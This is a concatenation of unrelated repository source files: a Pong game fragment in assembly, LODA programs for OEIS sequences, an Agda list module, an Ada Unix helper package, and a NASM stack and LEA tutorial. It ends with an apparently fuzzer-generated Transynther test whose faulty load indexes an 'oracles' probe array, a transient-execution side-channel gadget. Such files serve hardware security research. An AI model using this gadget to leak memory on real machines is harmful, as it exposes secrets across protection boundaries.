mov ax, lpad[2]
sub ax, lpad[4]
cmp ax, 0
jg commit
;if there's a collision, simply set the ypos to 1
mov ax, 1
commit:
lea bx, lpad[10]
mov [bx], ax
donepu:
pop bx
pop ax
ret
;;Right Paddle Position Values
updatePadR:
push ax
push bx
;New position update
mov ax, rpad[8]
lea bx, rpad[0]
mov [bx], ax
mov ax, rpad[10]
lea bx, rpad[2]
mov [bx], ax
mov al, 0
mov ah, 1
;Player 2 character - keyboard buffer
;right arrow: 4D00h
;left arrow: 4B00h
int 16h
;No input, Ignore
jz donepu
mov ax, 0
;Get character input from keyboard buffer
int 16h
cmp al, 00h
jne donepuR
cmp ah, 4dh
je upR
cmp ah, 4bh
jne donepu
mov ax, rpad[2]
add ax, rpad[4]
;Collision check
mov bx, ax
add bx, rpad[6]
dec bx
cmp bx, gameHeight
jl commitR
dec score
mov bx, gameHeight
dec bx
sub bx, rpad[6]
mov ax, bx
jmp commitR
upR:
mov ax, rpad[2]
sub ax, rpad[4]
cmp ax, 0
jg commitR
mov ax, 1
commitR:
lea bx, rpad[10]
mov [bx], ax
donepuR:
pop bx
pop ax
ret
;;--------------------------------CHECK COLLISIONS-----------------------------------
checkBall_CollisionL:
push ax
push bx
push cx
cmp ball[4], 0
jge donep ; To check if ball is heading towards the pad
mov ax, lpad[0]
cmp ball[10], ax
jg donep ; To check if the new position is behind the pad
cmp ball[0], ax
jle donep ; To check if the old ball position is in front of the pad
mov ax, ball[12]
mov bx, ax
add bx, ball[8]
dec bx
mov cx, lpad[10]
cmp ax, cx
jg nextc ; To check for both y1 and y2 being under the pad's ypos
cmp bx, cx
jl donep
nextc:
add cx, lpad[6]
dec cx
cmp ax, cx
jg donep
mov ax, ball[4]
lea bx, ball[4]
neg ax
mov [bx], ax ;Negate the x velocity
mov ax, lpad[0]
inc ax
lea bx, ball[10]
mov [bx], ax ;Set the ball's new xpos to in front of the pad
inc dx ;Increment the score
donep:
pop cx
pop bx
pop ax
ret
checkBall_CollisionR:
push ax
push bx
push cx
cmp ball[4], 0
jle donepr
mov ax, rpad[0]
cmp ball[10], ax
jg donepr
cmp ball[0], ax
jle donepr
mov ax, ball[12]
mov bx, ax
add bx, ball[8]
dec bx
mov cx, rpad[10]
cmp ax, cx
jg nextcr
cmp bx, cx
jl donepr
nextcr:
add cx, rpad[6]
dec cx
cmp ax, cx
jg donepr ,
mov ax, ball[4]
lea bx, ball[4]
neg ax
mov [bx], ax
mov ax, rpad[0]
inc ax
lea bx, ball[10]
mov [bx], ax
inc dx
donepr:
pop cx
pop bx
pop ax
ret |
programs/oeis/017/A017082.asm | neoneye/loda | 22 | 85983 | ; A017082: a(n) = (8*n + 1)^6.
; 1,531441,24137569,244140625,1291467969,4750104241,13841287201,34296447249,75418890625,151334226289,282429536481,496981290961,832972004929,1340095640625,2081951752609,3138428376721,4608273662721,6611856250609,9294114390625,12827693806929,17416274304961,23298085122481,30749609024289,40089475140625,51682540549249,65944160601201,83344647990241,104413920565969,129746337890625,160005726539569,195930594145441,238339532186001,288136807515649,346318142640625,413976684737889,492309163417681,582622237229761,686339028913329,805005849390625,940299110504209,1094032426497921,1268163904241521,1464803622199009,1686221298140625,1934854145598529,2213314919066161,2524400147941281,2871098559212689,3256599688890625,3684302682180849,4157825282402401,4681013008649041,5257948522194369,5892961181640625,6590636786811169,7355827511386641,8193662024284801,9109555799784049,10109221616390625,11198680244449489,12384271322498881,13672664422368561,15070870303021729,16586252353140625,18226538222455809,19999831641819121,21914624432020321,23979808701347409,26204689231890625,28598996054590129,31172897213027361,33937011715960081,36902422678601089,40080690652640625,43483867145012449,47124508325403601,51015688922507841,55171016309022769,59604644775390625,64331289992282769,69366243661827841,74725388357583601,80425212553252449,86482825840140625,92915974333361089,99743056266780081,106983137776707361,114655968874330129,122781999606890625,131382396407607409,140479058634340321,150094635296999121,160252541973695809,170976977915640625,182292943340781729,194226256916188561,206803573429178881,220052401647189489,234001122366390625,248679006649044049
mul $0,8
add $0,1
pow $0,6
|
agda/Data/List/Kleene/Relation/Unary.agda | oisdk/combinatorics-paper | 4 | 12755 | {-# OPTIONS --cubical --safe #-}
module Data.List.Kleene.Relation.Unary where
open import Data.List.Kleene
open import Prelude
open import Data.Fin
open import Relation.Nullary
private
variable
p : Level
◇⁺ : ∀ {A : Type a} (P : A → Type p) → A ⁺ → Type _
◇⁺ P xs = ∃[ i ] P (xs !⁺ i)
◇⋆ : ∀ {A : Type a} (P : A → Type p) → A ⋆ → Type _
◇⋆ P xs = ∃[ i ] P (xs !⋆ i)
module Exists {a} {A : Type a} {p} (P : A → Type p) where
push : ∀ {x xs} → ◇⋆ P xs → ◇⁺ P (x & xs)
push (n , x∈xs) = (fs n , x∈xs)
pull : ∀ {x xs} → ¬ P x → ◇⁺ P (x & xs) → ◇⋆ P xs
pull ¬Px (f0 , p∈xs) = ⊥-elim (¬Px p∈xs)
pull ¬Px (fs n , p∈xs) = (n , p∈xs)
◻⁺ : {A : Type a} (P : A → Type p) → A ⁺ → Type _
◻⁺ P xs = ∀ i → P (xs !⁺ i)
◻⋆ : {A : Type a} (P : A → Type p) → A ⋆ → Type _
◻⋆ P xs = ∀ i → P (xs !⋆ i)
module Forall {a} {A : Type a} {p} (P : A → Type p) where
push⁺ : ∀ {x xs} → P x → ◻⋆ P xs → ◻⁺ P (x & xs)
push⁺ px pxs f0 = px
push⁺ px pxs (fs n) = pxs n
|
oeis/134/A134319.asm | neoneye/loda-programs | 11 | 86480 | ; A134319: A007318 * a triangle by rows: for n > 0, n zeros followed by 2^n - 1.
; Submitted by <NAME>
; 1,1,1,1,2,3,1,3,9,7,1,4,18,28,15,1,5,30,70,75,31,1,6,45,140,225,186,63,1,7,63,245,525,651,441,127,1,8,84,392,1050,1736,1764,1016,255,1,9,108,588,1890,3906,5292,4572,2295,511,1,10,135,840,3150,7812,13230,15240,11475,5110,1023,1,11,165,1155,4950,14322,29106,41910,42075,28105,11253,2047,1,12,198,1540,7425,24552,58212,100584,126225,112420,67518,24564,4095,1,13,234,2002,10725,39897,108108,217932,328185
lpb $0
add $1,1
sub $0,$1
lpe
bin $1,$0
mov $2,$0
mov $0,2
trn $2,1
pow $0,$2
mul $0,2
sub $0,1
mul $1,$0
mov $0,$1
|
src/unix.adb | jfouquart/synth | 263 | 377 | -- This file is covered by the Internet Software Consortium (ISC) License
-- Reference: ../License.txt
with GNAT.OS_Lib;
with Ada.Text_IO;
with Parameters;
with System;
package body Unix is
package OSL renames GNAT.OS_Lib;
package TIO renames Ada.Text_IO;
package PM renames Parameters;
----------------------
-- process_status --
----------------------
function process_status (pid : pid_t) return process_exit
is
result : constant uInt8 := nohang_waitpid (pid);
begin
case result is
when 0 => return still_running;
when 1 => return exited_normally;
when others => return exited_with_error;
end case;
end process_status;
-----------------------
-- screen_attached --
-----------------------
function screen_attached return Boolean is
begin
return CSM.isatty (handle => CSM.fileno (CSM.stdin)) = 1;
end screen_attached;
-----------------------
-- cone_of_silence --
-----------------------
procedure cone_of_silence (deploy : Boolean)
is
result : uInt8;
begin
if not screen_attached then
return;
end if;
if deploy then
result := silent_control;
if result > 0 then
TIO.Put_Line ("Notice: tty echo+control OFF command failed");
end if;
else
result := chatty_control;
if result > 0 then
TIO.Put_Line ("Notice: tty echo+control ON command failed");
end if;
end if;
end cone_of_silence;
-----------------------------
-- ignore_background_tty --
-----------------------------
procedure ignore_background_tty
is
result : uInt8;
begin
result := ignore_tty_write;
if result > 0 then
TIO.Put_Line ("Notice: ignoring background tty write signal failed");
end if;
result := ignore_tty_read;
if result > 0 then
TIO.Put_Line ("Notice: ignoring background tty read signal failed");
end if;
end ignore_background_tty;
-------------------------
-- kill_process_tree --
-------------------------
procedure kill_process_tree (process_group : pid_t)
is
use type IC.int;
result : constant IC.int := signal_runaway (process_group);
begin
if result /= 0 then
TIO.Put_Line ("Notice: failed to signal pid " & process_group'Img);
end if;
end kill_process_tree;
------------------------
-- external_command --
------------------------
function external_command (command : String) return Boolean
is
Args : OSL.Argument_List_Access;
Exit_Status : Integer;
begin
Args := OSL.Argument_String_To_List (command);
Exit_Status := OSL.Spawn (Program_Name => Args (Args'First).all,
Args => Args (Args'First + 1 .. Args'Last));
OSL.Free (Args);
return Exit_Status = 0;
end external_command;
-------------------
-- fork_failed --
-------------------
function fork_failed (pid : pid_t) return Boolean is
begin
if pid < 0 then
return True;
end if;
return False;
end fork_failed;
----------------------
-- launch_process --
----------------------
function launch_process (command : String) return pid_t
is
procid : OSL.Process_Id;
Args : OSL.Argument_List_Access;
begin
Args := OSL.Argument_String_To_List (command);
procid := OSL.Non_Blocking_Spawn
(Program_Name => Args (Args'First).all,
Args => Args (Args'First + 1 .. Args'Last));
OSL.Free (Args);
return pid_t (OSL.Pid_To_Integer (procid));
end launch_process;
----------------------------
-- env_variable_defined --
----------------------------
function env_variable_defined (variable : String) return Boolean
is
test : String := OSL.Getenv (variable).all;
begin
return (test /= "");
end env_variable_defined;
--------------------------
-- env_variable_value --
--------------------------
function env_variable_value (variable : String) return String is
begin
return OSL.Getenv (variable).all;
end env_variable_value;
------------------
-- pipe_close --
------------------
function pipe_close (OpenFile : CSM.FILEs) return Integer
is
res : constant CSM.int := pclose (FileStream => OpenFile);
u16 : Interfaces.Unsigned_16;
begin
u16 := Interfaces.Shift_Right (Interfaces.Unsigned_16 (res), 8);
if Integer (u16) > 0 then
return Integer (u16);
end if;
return Integer (res);
end pipe_close;
---------------------
-- piped_command --
---------------------
function piped_command (command : String; status : out Integer)
return JT.Text
is
redirect : constant String := " 2>&1";
filestream : CSM.FILEs;
result : JT.Text;
begin
filestream := popen (IC.To_C (command & redirect), IC.To_C ("re"));
result := pipe_read (OpenFile => filestream);
status := pipe_close (OpenFile => filestream);
return result;
end piped_command;
--------------------------
-- piped_mute_command --
--------------------------
function piped_mute_command (command : String; abnormal : out JT.Text) return Boolean
is
redirect : constant String := " 2>&1";
filestream : CSM.FILEs;
status : Integer;
begin
filestream := popen (IC.To_C (command & redirect), IC.To_C ("re"));
abnormal := pipe_read (OpenFile => filestream);
status := pipe_close (OpenFile => filestream);
return status = 0;
end piped_mute_command;
-----------------
-- pipe_read --
-----------------
function pipe_read (OpenFile : CSM.FILEs) return JT.Text
is
-- Allocate 2kb at a time
buffer : String (1 .. 2048) := (others => ' ');
result : JT.Text := JT.blank;
charbuf : CSM.int;
marker : Natural := 0;
begin
loop
charbuf := CSM.fgetc (OpenFile);
if charbuf = CSM.EOF then
if marker >= buffer'First then
JT.SU.Append (result, buffer (buffer'First .. marker));
end if;
exit;
end if;
if marker = buffer'Last then
JT.SU.Append (result, buffer);
marker := buffer'First;
else
marker := marker + 1;
end if;
buffer (marker) := Character'Val (charbuf);
end loop;
return result;
end pipe_read;
-----------------
-- true_path --
-----------------
function true_path (provided_path : String) return String
is
use type ICS.chars_ptr;
buffer : IC.char_array (0 .. 1024) := (others => IC.nul);
result : ICS.chars_ptr;
path : IC.char_array := IC.To_C (provided_path);
begin
result := realpath (pathname => path, resolved_path => buffer);
if result = ICS.Null_Ptr then
return "";
end if;
return ICS.Value (result);
exception
when others => return "";
end true_path;
end Unix;
|
examples/1_how_to_stack_and_LEA/src/main.asm | AgileEhsan/libasm_io | 0 | 165392 | ;=================================================================
;
; Copyright (c) 2014, <NAME>
;
; All rights reserved.
;
; libasm_io is distributed under the following BSD 3-Clause License
;
; Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
; ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
;==================================================================
;the following is defined when the library examples are being built with the library
%ifdef _LIBASM_IO_BUILDING_
;if the library build system is building the examples, then an option to NASM specifies the directory
;to find this include, so we can include it by its name only
%include "libasm_io.inc"
%else
;otherwise if this code is compiled against the already installed library
;it's header needs to be included from its installed location
%include "/usr/local/include/libasm_io.inc"
%endif
;main gets called by the c runtime library, so it needs to be global to let the linker find it
;the cglobal macro from the library will add an underscore to the 'main' symbol name in the global statement
;and define main as _main if the platform we are on uses underscores in front of its C symbols
cglobal main
section .data
message_1: db "this",0
message_2: db "is",0
message_3: db "how",0
message_4: db "to",0
message_5: db "use",0
message_6: db "the",0
message_7: db "stack",0
message_1a: db "this : ",0
message_2a: db "is : ",0
message_3a: db "how : ",0
message_4a: db "to : ",0
message_5a: db "use : ",0
message_6a: db "the : ",0
message_7a: db "stack : ",0
example_1: db "printing output from example 1:",0
example_2: db "printing output from example 2:",0
example_3: db "printing output from the 'fun_with_lea' function:",0
section .text
print_messages_example:
;set up a new stack frame
push rbp
mov rbp, rsp
;subtract RSP by 56+8 to make room for 7x 8-byte pointer values on the stack, 7*8=56
;the +8 is to align the stack pointer to 16 bytes, 56/16 = 3.5 and (56+8)/16=4.0
;to align to 16 bytes, the value has to be divisible by 16 evenly
;64 bit windows requires the stack pointer be aligned to 16 bytes.
;it also requires that the stack contain at least 32 bytes of space in all function calls that
;call other functions. The alignment here is for portability.
sub rsp, (56+8)
;================================
;the keyword QWORD stands for QUAD WORD, a WORD is 16 bits (or two bytes).
;so a QWORD has 64 bits, which is big enough to hold the 64bit pointer
;to a message string (or any other memory)
;we need to specify the size so mov knows how many bytes of data its going to move into a memory location.
;some possible sizes are :
;BYTE -> 8 bits
;WORD -> 16 bits
;DWORD -> 32 bits
;TWORD -> 48 bits (three words)
;QWORD -> 64 bits
;we want to count by 8's in our offset, because we are moving 64 bit values which are 8 bytes long
;and they should not overlap at all.
;we need to use lea or mov to put a 64 bit label address into a register before moving the address into memory.
;this is because you cannot move the address of a 64 bit immediate label into memory directly without it being
;turnicated to 32 bits. Having the address turnicated will possibly cause the linker to complain
;or worse, cause your program to crash unexpectedly; the latter being a difficult to find bug.
;move the label address into a register first with lea, then move the register
;contents into a memory location on the stack.
lea rax, [rel message_1]
mov QWORD [rsp], rax
;mov accomplishes the same thing here.
;except we have no option of doing arithmetic on the right hand operand like lea can,
;and we need to specify the label address as being a QWORD.
mov rax, QWORD message_2
mov QWORD [rsp+8], rax
lea rax, [rel message_3]
mov QWORD [rsp+16], rax
lea rax, [rel message_4]
mov QWORD [rsp+24], rax
lea rax, [rel message_5]
mov QWORD [rsp+32], rax
lea rax, [rel message_6]
mov QWORD [rsp+40], rax
lea rax, [rel message_7]
mov QWORD [rsp+48], rax
;================================
mov rdi, [rsp]
call print_string
call print_nl
mov rdi, [rsp+8]
call print_string
call print_nl
mov rdi, [rsp+16]
call print_string
call print_nl
mov rdi, [rsp+24]
call print_string
call print_nl
mov rdi, [rsp+32]
call print_string
call print_nl
mov rdi, [rsp+40]
call print_string
call print_nl
mov rdi, [rsp+48]
call print_string
call print_nl
;restore the previous stack frame.
;we just add to rsp and equal amount to what we subtracted when we entered the function
;then restore the stack base pointer rbp by popping it.
add rsp, (56+8)
pop rbp
ret
print_messages_example_v2:
;this sets up a new stack frame
push rbp
mov rbp, rsp
;subtract RSP by (56+8) to make room for 7x 8-byte pointer values on the stack 7*8=56.
;the +8 is to align it, because 56 is not aligned to 16 bytes.
;(we need a value that divides by 16 evenly)
sub rsp, (56+8)
;================================
; you can also use RBP with a negative offset to address stack values, we use subtract because we are storing values
; in the direction in memory that moves towards RSP, (RSP resides at a lower address than RBP).
; we need to start at an offset equal in size to the data we are moving to memory
;
; otherwise, if we use [RBP] as the first address, this will happen:
;
; -- (etc..)
; -- (contains another byte of pointer)
; -- (rbp) high pointer address (contains a byte of a pointer)
; -- ..
; -- ..
; -- (rsp) low pointer address
;
;
; we would write into the calling functions stack frame and make it mad at us,
; probably crashing the program
; x86_64 is a little-endian architecture, it lays out the bytes of integers from low address to high address
; starting with the least significant byte
;=================================
lea rax, [rel message_1a]
mov QWORD [rbp-8], rax
lea rax, [rel message_2a]
mov QWORD [rbp-16], rax
lea rax, [rel message_3a]
mov QWORD [rbp-24], rax
lea rax, [rel message_4a]
mov QWORD [rbp-32], rax
lea rax, [rel message_5a]
mov QWORD [rbp-40], rax
lea rax, [rel message_6a]
mov QWORD [rbp-48], rax
lea rax, [rel message_7a]
mov QWORD [rbp-56], rax
;================================
; it's safe to address [RSP] directly
; because all register values in x86_64 are in little-endian format.
; (they are laid out from low byte to high byte in memory and in registers)
;
; right now the stack is something like this (thinking in terms of individual bytes in memory):
;
;
; -- (rbp) high address
; -- ..
; -- (etc..)
; -- (third byte of pointer to message_7)
; -- (second byte of pointer to message_7)
; -- (rsp) low address (has the first byte of pointer to message_7)
;
;
; also, when we address RSP and move it into RDI, nasm knows we need to pull a quad word from memory (64 bits);
; that is because RDI is a 64bit register.
;
; if your moving a byte of memory into a byte register like AL, it works the same.
;
; you could just do:
;
; mov AL, [rsp]
;
; and nasm will figure out that you want a byte because AL is a byte long
;
;if we start at RSP now we will be printing in reverse order.
;we aligned our stack to 16 bytes using +8 though so we need to start at [RSP+8],
;which is equal to [RBP-56] at this point.
mov rdi, [rsp+8]
call print_string
;print RSP+8 as an unsigned 64 bit integer, so we see the address of the string that was just printed
lea rdi, [(rsp+8)]
call print_uint
call print_nl
;=========READ ABOUT LEA HERE===========
;we are adding 8 to the end of our effective address to keep up with the fact that RSP was aligned to 16 bytes using +8
mov rdi, [(rsp+8) +8]
call print_string
; lea stands for LOAD EFFECTIVE ADDRESS, and it means:
; 1. take the effective address calculation on the RIGHT and compute the actual pointer value from it.
; 2. put the calculated pointer value in the register on the LEFT.
lea rdi, [(rsp+8) +8]
;print the address in RDI, which is equal to [(RSP+8) +8]
call print_uint
call print_nl
;===================================
mov rdi, [(rsp+16) +8]
call print_string
lea rdi, [(rsp+16) +8]
call print_uint
call print_nl
mov rdi, [(rsp+24) +8]
call print_string
lea rdi, [(rsp+24) +8]
call print_uint
call print_nl
mov rdi, [(rsp+32) +8]
call print_string
lea rdi, [(rsp+32) +8]
call print_uint
call print_nl
mov rdi, [(rsp+40) +8]
call print_string
lea rdi, [(rsp+40) +8]
call print_uint
call print_nl
mov rdi, [(rsp+48) +8]
call print_string
lea rdi, [(rsp+48) +8]
call print_uint
call print_nl
;restore the previous stack frame, add an equal amount to what we subtracted before
add rsp, (56+8)
pop rbp
ret
fun_with_lea:
; I am using LEA here to show you some of the fancy expressions that can be used to address memory.
; there are some constraints to memory addressing, but nasm can occasionally factor your math down
; to meet these constraints.
;
; if your affective address for memory operations do not meet processor constraints
; you will get an 'invalid effective address' error from nasm.
;
; the constraints are a bit too long to describe here,
; but you can read about effective addresses in nasm at this link:
;
; http://www.nasm.us/doc/nasmdoc3.html#section-3.3
;
push rbp
mov rbp, rsp
sub rsp, 32
;calculate a bogus address and print the result.
;lea can be used for arithmetic on values that are not actually pointers,
;but that's sort of hacky and has limited usage due to constraints on effective addressing calculations
mov rdi, 5
lea rdi, [rdi+10*2-6]
call print_int
call print_nl
;here we add together two registers and multiply by 8
mov rsi, 8
mov rdi, 5
lea rdi, [rsi+rdi*8]
call print_int
call print_nl
mov rdi, 5
lea rdi, [rdi-10*8]
call print_int
call print_nl
add rsp, 32
pop rbp
ret
main:
;create a new stack frame
;we first save the 'stack base pointer' which is the high address of the stack.
;the stack is currently like this:
;
; -- (rbp) high pointer address
; -- ..probably local variable/parameter in stack memory from the function that called this one..
; -- ..maybe another local variable/function parameter from the calling function..
; -- (rsp) low pointer address
;
;save the 'stack base pointer'
push rbp
;we effectively slide the bottom of the stack down (RBP) to RSP and make it empty
;by setting the 'stack base pointer' to the 'stack pointer'
;
;it makes the stack like this:
;
; -- (rbp) high pointer address = (rsp) low pointer address
;
;slide the base of the stack down to RSP, so its empty
mov rbp, rsp
;On windows, we need a minimum of 32 bytes of stack space before calling
;any functions, RSP also always needs to be aligned to 16 bytes.
;32/16 = 2, 2 is a whole number which means 32 is indeed aligned to 16 bytes
;this is for compatibility, Linux and Mac can run programs with or without the stack pointer being aligned,
;but on Windows if the stack is not aligned the program will crash.
sub rsp, 32
;print a message describing what the following output is from
mov rdi, QWORD example_1
call print_string
call print_nl
call print_nl
;call the first example
call print_messages_example
;make some space with a new line
call print_nl
;print a message saying the following output is from example 2
mov rdi, QWORD example_2
call print_string
call print_nl
call print_nl
;call the second example
call print_messages_example_v2
;make some space with a new line
call print_nl
;print a message saying we are going to output the results of the fun_with_lea example
mov rdi, QWORD example_3
call print_string
call print_nl
call print_nl
call fun_with_lea
call print_nl
;restore the stack to its previous state.
;first add an equal amount to RSP as what we subtracted when we entered this function.
;this includes the sum of all additional subtractions made after the first subtraction (if there are any).
;then restore the base pointer (RBP) by popping it back into itself.
add rsp, 32
;once we do the addition, the value of RBP we pushed at the beginning of the function
;should be the only thing left on the stack.
pop rbp
ret
|
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_17599_129.asm | ljhsiun2/medusa | 9 | 240234 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1942b, %rsi
lea addresses_A_ht+0x10c2b, %rdi
nop
add $50825, %r13
mov $107, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $58595, %rbx
lea addresses_WC_ht+0x1232b, %rbp
add %r12, %r12
vmovups (%rbp), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbx
inc %rbx
lea addresses_D_ht+0x1494b, %rbp
nop
nop
xor %r13, %r13
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
movups %xmm0, (%rbp)
nop
nop
nop
nop
nop
cmp $63039, %r13
lea addresses_WT_ht+0x1c70b, %rsi
nop
nop
nop
nop
xor $22012, %rbx
movw $0x6162, (%rsi)
nop
nop
nop
cmp $58151, %rbx
lea addresses_UC_ht+0x1682b, %rcx
nop
nop
nop
sub $60084, %rsi
movw $0x6162, (%rcx)
nop
nop
nop
xor $12298, %rsi
lea addresses_A_ht+0x11ce6, %rsi
lea addresses_A_ht+0x10b6b, %rdi
cmp %rbx, %rbx
mov $123, %rcx
rep movsb
add %r13, %r13
lea addresses_A_ht+0x4f2b, %rdi
nop
nop
nop
nop
nop
xor $4064, %r13
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
and $0xffffffffffffffc0, %rdi
vmovntdq %ymm2, (%rdi)
add $60, %rcx
lea addresses_UC_ht+0x390b, %rbx
add %r12, %r12
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%rbx)
nop
nop
nop
nop
inc %rdi
lea addresses_D_ht+0x1502b, %rdi
clflush (%rdi)
cmp %rbp, %rbp
mov (%rdi), %bx
nop
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0xb12b, %rsi
lea addresses_normal_ht+0x1010b, %rdi
sub %r10, %r10
mov $92, %rcx
rep movsw
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0xf1eb, %r13
nop
nop
nop
cmp %rdi, %rdi
movb (%r13), %r10b
nop
nop
and $34355, %rcx
lea addresses_normal_ht+0x10e7b, %rsi
lea addresses_WC_ht+0x5e2b, %rdi
nop
nop
add $24361, %rbx
mov $37, %rcx
rep movsq
nop
nop
nop
add %rbx, %rbx
lea addresses_WT_ht+0x1982b, %rsi
lea addresses_A_ht+0x2dcb, %rdi
nop
and %r13, %r13
mov $6, %rcx
rep movsl
nop
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WT+0x4c2b, %rdi
nop
add $46919, %r14
mov $0x5152535455565758, %rax
movq %rax, (%rdi)
nop
nop
nop
nop
xor %r14, %r14
// Store
lea addresses_US+0x7e2b, %rsi
nop
nop
nop
nop
add $46246, %r12
movb $0x51, (%rsi)
sub $45511, %r14
// Store
lea addresses_D+0x942b, %rbx
nop
nop
nop
nop
cmp $38698, %r12
mov $0x5152535455565758, %r14
movq %r14, %xmm0
vmovups %ymm0, (%rbx)
nop
nop
and $15492, %r12
// Faulty Load
lea addresses_WT+0x1d82b, %rbx
nop
nop
nop
xor $34584, %r14
mov (%rbx), %r12
lea oracles, %rax
and $0xff, %r12
shlq $12, %r12
mov (%rax,%r12,1), %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'00': 17599}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 